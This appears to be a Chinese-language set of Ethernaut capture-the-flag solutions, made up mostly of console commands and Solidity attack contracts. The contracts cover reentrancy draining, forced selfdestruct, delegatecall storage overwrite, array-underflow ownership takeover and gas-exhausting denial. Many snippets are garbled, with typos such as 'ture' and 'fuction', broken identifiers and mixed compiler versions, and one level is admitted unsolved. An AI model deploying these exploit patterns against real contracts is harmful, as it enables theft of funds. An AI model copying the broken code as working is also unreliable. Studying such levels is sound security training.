await contract.info() "You will find what you need in info1()."
await contract.info1() "Try info2(), but with "hello" as a parameter."
await contract.info2("hello") "The property infoNum holds the number of the next info method to call."
await contract.infoNum() 42
await contract.info42() "theMethodName is the name of the next method."
await contract.theMethodName() "The method name is method7123949."
await contract.method7123949() "If you know the password, submit it to authenticate()."
await contract.password() "ethernaut0"
await contract.authenticate("ethernaut0")
await getBalance(instance)
await contract.contribute({value:1})
await getBalance(instance)
await contract.sendTransation({value:1})
await contract.owner()
await contract.withdraw()
查看合约的owner,调用函数来更换合约的owner 构造函数名称与合约名称不一致使其成为一个public类型的函数,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。
await contract.owner()
await contract.Fallout()
await contract.owner()
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '../CoinFlip.sol';
contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack(address_victim) public returns (bool) { CoinFlip coinflip = CoinFlip( victim); uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool side = coinFlip == 1 ? ture : false; coinflip.flip(side); return side; } } 连续attack10次
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import '../Telephone.sol'; contract TelephoneAttack{
Telephone phone;
constructor(address _telephone) {
phone = Telephone(_telephone);
}
fuction attack(address _owner) public {
phone.changeOwner(_owner);
}
}
await contract.owner();
await contract.balanceOf(player)
player
contract.transfer(地址)
player
await contract.address
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});
await contract.owner
await contract.owner()
await contract.address()
pragma solidity ^0.8.0; contract Force { function Force() public payable {} function exploit(address _ target) public { selfdestruct(_ target); } } 调用ForceSendEter(),传入合约地址
运行 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); 解锁合约
pragma solidity ^0.8.0;
contract attack{ function attack(address _ addr) public payable{ _ addr.call.gas(10000000).value(msg.value)(); } function () public { revert(); } } prize = await contract.prize()
fromWei(print.toNumber())
await contract.address
await contract.king()
攻击合约 pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable { balances[_to] = balances[_to]+msg.value; }
function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }
function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } }
function() public payable {} }
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable { if(address(reInstance).balance >= 1 ether){ reInstance.withdraw(1 ether); } } }
完成withdraw的检查 contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})
运行attack函数
pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor;
function goTo(uint _ floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_ floor)) { floor = _ floor; top = building.isLastFloor(floor); } } }
contract BuildingEXP{ Elevator ele; bool t = true; function isLastFloor(uint) view public returns (bool) { t = !t; return t; } function attack(address _ addr) public{ ele = Elevator(_ addr); ele.goTo(5); } } await contract.address
await contract.floor()
await contract.top()
await contract.top()
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
2、gateTwo :这里的msg.gas 指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 8191+x ,x 为从开始到运行完 msg.gas 所消耗的 gas。通过查阅资料发现msg.gas在文档里的描述是remaining gas,在Javascript VM环境下进行Debug可在Step detail 栏中可以看到这个变量,笔者在调试过程中未发现合适的gas值,暂未成功!
进行攻击合约
第二个条件:gateTwo中extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小,一般来说,当caller为合约时,获取的大小为合约字节码大小,caller为账户时,获取的大小为 0 。条件为调用方代码大小为0 ,由于合约在初始化,代码大小为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。
攻击合约 pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
contract attack{ function attack(address param){ GatekeeperTwo a =GatekeeperTwo(param); bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
使用approve进行授权
调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了
pragma solidity ^0.4.23;
contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime;
function setTime(uint _time) public { owner = address(_time); } } await contract.setSecondTime(恶意合约地址) await contract.setFirstTime(player地址)
NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; pragma solidity ^0.4.23;
// A Locked Name Registrar contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
contract attack{ function hack(address param){ Locked a = locked(param); a.register(bytes32(1),address(msg.sender)); } }
pragma solidity ^0.4.23;
contract SimpleToken {
// public variables string public name; mapping (address => uint) public balances;
// collect ether in return for tokens function() public payable ;
// allow transfers of tokens function transfer(address _to, uint _amount) public ;
// clean up after ourselves function destroy(address _to) public ; }
contract RecoveryPoc { SimpleToken target; constructor(address _addr) public{ target = SimpleToken(_addr); }
function attack() public{
target.destroy(tx.origin);
}
}
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)}) var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3"; web3.eth.sendTransaction({from:player, data:bytecode}, function(err,res){console.log(res)}); await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6");
sig = web3.sha3("make_contact(bytes32[])").slice(0,10) // "0x1d3d4c0b" // 函数选择器 data1 = "0000000000000000000000000000000000000000000000000000000000000020" // 除去函数选择器,数组长度的存储从第 0x20 位开始 data2 = "1000000000000000000000000000000000000000000000000000000000000001" // 数组的长度 await contract.contact() // false contract.sendTransaction({data: sig + data1 + data2}); // 发送交易 await contract.contact() // true
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); // codex.length // 0x0000000000000000000000000000000000000000000000000000000000000000 await contract.owner() // "0x73048cec9010e92c298b016966bde1cc47299df5" contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001a61cfd1573fd2207dcb1841cedcb1d5aed4dc155') // 调用 revise() await contract.owner() // "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf" // Submit instance
pragma solidity ^0.4.23;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{ address instance_address = instance_address_here;//根据示例来更改该参数 Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
target.withdraw();
}
}